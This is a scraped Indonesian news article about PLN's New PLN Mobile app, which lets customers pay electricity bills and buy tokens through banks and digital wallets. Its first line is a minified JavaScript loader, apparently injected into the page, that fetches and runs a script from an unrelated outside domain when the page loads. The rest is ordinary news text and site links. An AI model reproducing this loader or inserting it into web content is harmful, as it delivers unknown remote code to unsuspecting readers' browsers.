(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PLN KALSELTENG

Semakin Mudah, Bayar Tagihan dan Beli Token Listrik Melalui Aplikasi New PLN Mobile


KANALKALIMANTAN.COM, BANJARBARU – PT PLN (Persero) meluncurkan aplikasi layanan pelanggan New PLN Mobile. Aplikasi tersebut merupakan penyegaran dari Aplikasi PLN Mobile sebelumnya dengan tampilan baru dan fitur yang lebih lengkap untuk memenuhi semua kebutuhan pelanggan, memberikan kemudahan serta pengalaman layanan kelistrikan yang lebih baik.

Manager Komunikasi PT PLN (Persero) Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah, Suhadi mengatakan salah satu kemudahan yang diberikan melalui aplikasi New PLN Mobile adalah fitur pembayaran tagihan dan pembelian token listrik. Fitur tersebut memudahkan pelanggan untuk melakukan pembayaran tagihan listrik dan pembelian token hanya dari satu aplikasi dengan metode pembayaran melalui akun virtual dan dompet digital yang saling terintegrasi.

“Salah satu fitur yang disediakan pada Aplikasi New PLN Mobile adalah pembayaran tagihan listrik dan pembelian token secara langsung dari aplikasi ini. Dengan opsi yang cukup banyak untuk metode pembayarannya, hal tersebut tentunya dapat semakin memudahkan Pelanggan dalam melakukan pembayaran tagihan dan pembelian token,” ungkap Suhadi.

Untuk memudahkan Pelanggan dalam melakukan transaksi pembayaran tagihan dan pembelian token listrik di aplikasi New PLN Mobile, PLN sudah mengupayakan integrasi sistem perbankan dan layanan pembayaran digital yang familiar digunakan oleh masyarakat.

Adapun layanan perbankan yang saat ini sudah terintegrasi dengan Aplikasi New PLN Mobile adalah Bank BNI, Mandiri, BRI dan BCA. Sedangkan layanan Pembayaran Digital yang tersedia meliputi LinkAja, Ovo dan Gopay.

Lebih lanjut Suhadi menjelaskan salah satu keuntungan lebih yang didapatkan pelanggan apabila menggunakan Aplikasi New PLN Mobile , terlebih jika melakukan pembayaran tagihan dan pembelian token listrik adalah fitur yang memeriksa riwayat transaksi pembayaran tagihan atau pembelian token listrik serta jumlah kWh listrik yang digunakan oleh pelanggan.

“Pada aplikasi New PLN Mobile ini pelanggan juga bisa melihat jumlah transaksi yang sudah dilakukan, baik transaksi pembayaran tagihan hingga pembelian token listrik. Selain itu Pelanggan dapat mengetahui berapa jumlah pemakaian listrik dalam kWh yang digunakan oleh pelanggan,” pungkas Suhadi.

Sebagai tambahan informasi, saat ini aplikasi New PLN Mobile sudah dapat diunduh dan digunakan oleh seluruh pelanggan pada smartphone berbasis sistem operasi Android dan iOS. Untuk dapat menggunakan aplikasi tersebut, pelanggan harus melakukan registrasi dengan melengkapi data formulir dan memasukkan ID Pelanggan.(Kanalkalimantan.com/ril)

 

Reporter : Ril
Editor : Cell

 

 


Al Ghifari

Recent Posts

Sekda HSU Sambut Tim Wasev TMMD ke-120

KANALKALIMANTAN.COM, AMUNTAI - Suasana hangat tampak saat Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi… Read More

2 jam ago

Seleksi Wawancara Panwascam Empat Kecamatan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 14 orang calon Panitia Pengawas Kecamatan (Panwascam) di Kota Banjarbaru Kalimantan… Read More

2 jam ago

Satgas TMMD-Warga Desa Sungai Karias Keroyokan Hingga Malam

KANALKALIMANTAN.COM, AMUNTAI - Meski suasana gelap di malam hari tak menjadi penghalang anggota Satgas TNI… Read More

2 jam ago

Bangunan Liar di Atas Sungai Dibongkar Satpol PP Banjarmasin

Kabid Tibum: Bangunan Lainnya Kita Tunggu Proses Selanjutnya Read More

2 jam ago

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

8 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

18 jam ago

This website uses cookies.